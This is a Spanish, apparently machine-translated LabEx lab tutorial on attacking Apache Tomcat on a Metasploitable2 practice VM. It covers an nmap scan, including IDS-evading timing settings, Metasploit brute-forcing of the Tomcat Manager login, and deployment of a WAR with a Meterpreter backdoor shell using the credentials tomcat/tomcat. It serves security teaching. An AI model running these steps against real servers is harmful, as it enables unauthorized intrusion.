Explotación de Vulnerabilidades de Tomcat con Nmap en Kali Linux

NmapNmapBeginner
Practicar Ahora

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este laboratorio, aprenderá los principios de la explotación de vulnerabilidades de Tomcat y el proceso de ataque a las mismas. Durante el proceso de ataque, aprenderá a utilizar Kali Linux y comprenderá el marco de ataque Metasploit Framework (MSF) en Kali. La máquina objetivo a penetrar en este laboratorio es Metasploitable2, basada en el entorno Kali proporcionado por LabEx.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/timing_performance("Timing and Performance") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/installation -.-> lab-416130{{"Explotación de Vulnerabilidades de Tomcat con Nmap en Kali Linux"}} nmap/port_scanning -.-> lab-416130{{"Explotación de Vulnerabilidades de Tomcat con Nmap en Kali Linux"}} nmap/target_specification -.-> lab-416130{{"Explotación de Vulnerabilidades de Tomcat con Nmap en Kali Linux"}} nmap/timing_performance -.-> lab-416130{{"Explotación de Vulnerabilidades de Tomcat con Nmap en Kali Linux"}} nmap/service_detection -.-> lab-416130{{"Explotación de Vulnerabilidades de Tomcat con Nmap en Kali Linux"}} end

Escanear la máquina objetivo en busca de vulnerabilidades de red

En una prueba de penetración típica, necesitamos atacar aún más la máquina objetivo. Lo primero que debemos hacer es realizar un escaneo de penetración en la máquina objetivo. Durante el proceso de escaneo, podemos descubrir los servicios proporcionados por la máquina y luego determinar si existen vulnerabilidades en función de la información disponible. A continuación, intentamos penetrar las posibles vulnerabilidades y, finalmente, comprometer la máquina objetivo para obtener sus vulnerabilidades.

  1. Abra una terminal xfce en la máquina host de LabEx y inicie la máquina objetivo Metasploitable2 ejecutando el siguiente comando:
sudo virsh start Metasploitable2

Espere a que la máquina objetivo se inicie, puede tardar de 1 a 3 minutos.

  1. Pruebe la conectividad con la máquina objetivo mediante un ping:
ping 192.168.122.102

Presione Ctrl+C para detener el ping.

  1. Inicie el contenedor de Kali Linux y acceda al entorno bash ejecutando:
docker run -ti --network host b5b709a49cd5 bash
  1. Dentro del contenedor de Kali, pruebe la conexión de red con la máquina objetivo:
ping 192.168.122.102

Presione Ctrl+C para detener el ping.

Ahora tanto la máquina de ataque como la máquina objetivo están en funcionamiento, y puede comenzar la prueba de penetración.

  1. Luego, iniciamos msfconsole y accedemos a la interfaz de operación:
cd ~
msfconsole
  1. En la fase de escaneo, Nmap es una herramienta de escaneo muy útil. Durante el proceso de escaneo de vulnerabilidades, podemos analizar e intentar posibles vulnerabilidades a través del análisis. Aquí, realizamos un escaneo de penetración en la máquina objetivo utilizando el siguiente comando:
nmap -sV -T5 target

En el comando anterior, -T establece la velocidad de escaneo:

Parámetro Significado
nmap T0 Escaneo extremadamente lento, utilizado para eludir los IDS (Intrusion Detection System)
nmap T1 Escaneo lento, velocidad entre 0 y 2, también puede eludir algunos IDS
nmap T2 Velocidad de escaneo reducida, generalmente no se utiliza
nmap T3 Velocidad de escaneo predeterminada
nmap T4 Puede inundar el objetivo, es probable que active el firewall
nmap T5 Velocidad de escaneo loca, sacrificando precisión por velocidad

Presione Ctrl+D para salir de la consola de Metasploit y luego inicie la inspección

Fuerza bruta para obtener la contraseña de Tomcat

En este paso, comenzaremos a explotar la vulnerabilidad de Tomcat. Utilizaremos el módulo auxiliary/scanner/http/tomcat_mgr_login, que intenta iniciar sesión en el Administrador de Tomcat utilizando un conjunto de nombres de usuario y contraseñas específicos. Si el inicio de sesión es exitoso, muestra el resultado.

El código del módulo de ataque:

De los resultados del escaneo, podemos ver que el puerto 8180 está abierto. Intentemos atacar este puerto. Primero, en la terminal de MSF, busquemos el módulo de Tomcat para ver si hay un módulo de vulnerabilidad correspondiente:

  1. En primer lugar, si no está en la consola de Metasploit, debe iniciar la consola de Metasploit:
cd ~
msfconsole
  1. Use la búsqueda para encontrar el módulo adecuado:
search tomcat
  1. Use el comando use para seleccionar el módulo adecuado:
use auxiliary/scanner/http/tomcat_mgr_login
  1. Muestre los parámetros que deben configurarse:
show options
  1. Luego, verifique los parámetros necesarios que deben configurarse y use el comando set para configurar los parámetros:
set RHOSTS 192.168.122.102
  1. Configure la información del puerto:
set RPORT 8180
  1. A continuación, use el comando para atacar y aplicar fuerza bruta a la contraseña:
exploit

Presione Ctrl+D para salir de la consola de Metasploit y luego inicie la inspección

Utilizar la contraseña de Tomcat para la penetración

Después de obtener la contraseña de Tomcat del módulo correspondiente, utilizaremos esa contraseña para penetrar la máquina objetivo. Utilizaremos el módulo exploit/multi/http/tomcat_mgr_deploy, que inicia sesión en el Administrador de Tomcat y ejecuta una carga útil (payload). Esta carga útil sube un paquete WAR mediante una operación PUT, y este paquete WAR contiene un archivo JSP que proporciona una shell de retorno (backdoor shell) de Meterpreter.

El código del módulo de ataque:

  1. En primer lugar, si no está en la consola de Metasploit, debe iniciar la consola de Metasploit:
cd ~
msfconsole
  1. Busque el módulo adecuado:
search tomcat
  1. Luego, seleccione el módulo de ataque adecuado:
use exploit/multi/http/tomcat_mgr_deploy
  1. Utilice el comando show para ver los parámetros necesarios:
show options
  1. Establezca la dirección del host objetivo y el puerto a atacar:
set rhost 192.168.122.102
  1. Establezca la información del puerto:
set rport 8180
  1. Establezca el nombre de la cuenta httpusername:
set httpusername tomcat
  1. Establezca la contraseña httppassword:
set httppassword tomcat
  1. Luego, realice el ataque (esto puede tardar aproximadamente un minuto):
exploit
  1. Muy bien, ahora hemos penetrado la máquina objetivo. A continuación, verificaremos la penetración exitosa. En la terminal de línea de comandos exitosa, ingrese el comando:
sysinfo

No ingrese whoami, ya que causará un error porque la carga útil de Meterpreter utilizada aquí no admite comandos como hostname, id, whoami, etc. Puede utilizar el comando help para ver los comandos que admite:

Como se muestra a continuación, se muestra la información del sistema operativo:

Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux

Presione Ctrl+D para salir de la consola de Metasploit y luego inicie la inspección

Resumen

En este laboratorio, aprendiste los principios de la vulnerabilidad de Tomcat y el proceso de ataque a la misma. Generalmente, antes de una prueba de penetración, necesitamos recopilar información sobre la máquina objetivo. Durante el proceso de recopilación de información, podemos descubrir mejor las vulnerabilidades y comprometer la máquina objetivo. Después de completar este laboratorio, deberías haber dominado los siguientes puntos de conocimiento:

  • Principios de la vulnerabilidad de Tomcat
  • Uso del escaneo con Nmap
  • Proceso de ataque con MSF
  • Verificación de ataques exitosos